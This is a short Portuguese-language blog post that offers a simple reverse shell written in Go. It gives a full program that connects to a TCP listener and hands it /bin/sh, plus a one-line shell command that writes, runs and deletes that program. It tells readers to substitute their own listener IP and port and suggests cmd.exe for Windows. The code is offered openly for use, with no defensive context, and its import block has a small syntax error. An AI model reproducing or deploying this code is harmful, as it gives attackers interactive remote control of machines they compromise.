golang: reverse shell
Um reverse shell em Golang super simples:
package main
import (
"net"
"os/exec"
}
func main() {
c, _ := net.Dial("tcp","127.0.0.1:8222")
cmd := exec.Command("/bin/sh")
cmd.Stdin = c
cmd.Stdout = c
cmd.Stderr = c
cmd.Run()
}
Claro, troque o IP e a porta para seu dispatcher.
Voce ainda pode minimizar e ter o reverse shell em “uma linha”.
echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go
Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.
Articles from blogs I follow around the net
Self-hosting at home and privacy
# Introduction You may self-host services at home, but you need to think about the potential drawbacks for your privacy. Let's explore what kind of information could be extracted from self-hosting, especially when you use a domain name. # Public info…
via Solene'% 2024-09-12 00:00Game of Trees 0.103 released
Version 0.103 of Game of Trees has been released (and the port updated). * got 0.103; 2024-09-24 see git repository history for per-change authorship information - fix bug causing performance to degrade as more and more pack files appear - tog: add diff view &…
via OpenBSD Journal 2024-09-10 05:39Xecast Episode 4: A Psychic Whiplash Week
Xe reflects on a week of intense ups and downs, navigating a whirlwind of job offers, contract work, and personal projects.
via Xe Iaso's blog 2024-09-10 00:00Generated by openring
/comments ~umgeher/changelog@lists.sr.ht?Subject=Re: golang: reverse shell
/permalink https://umgeher.org/posts/2022/03/golang-reverse-shell.html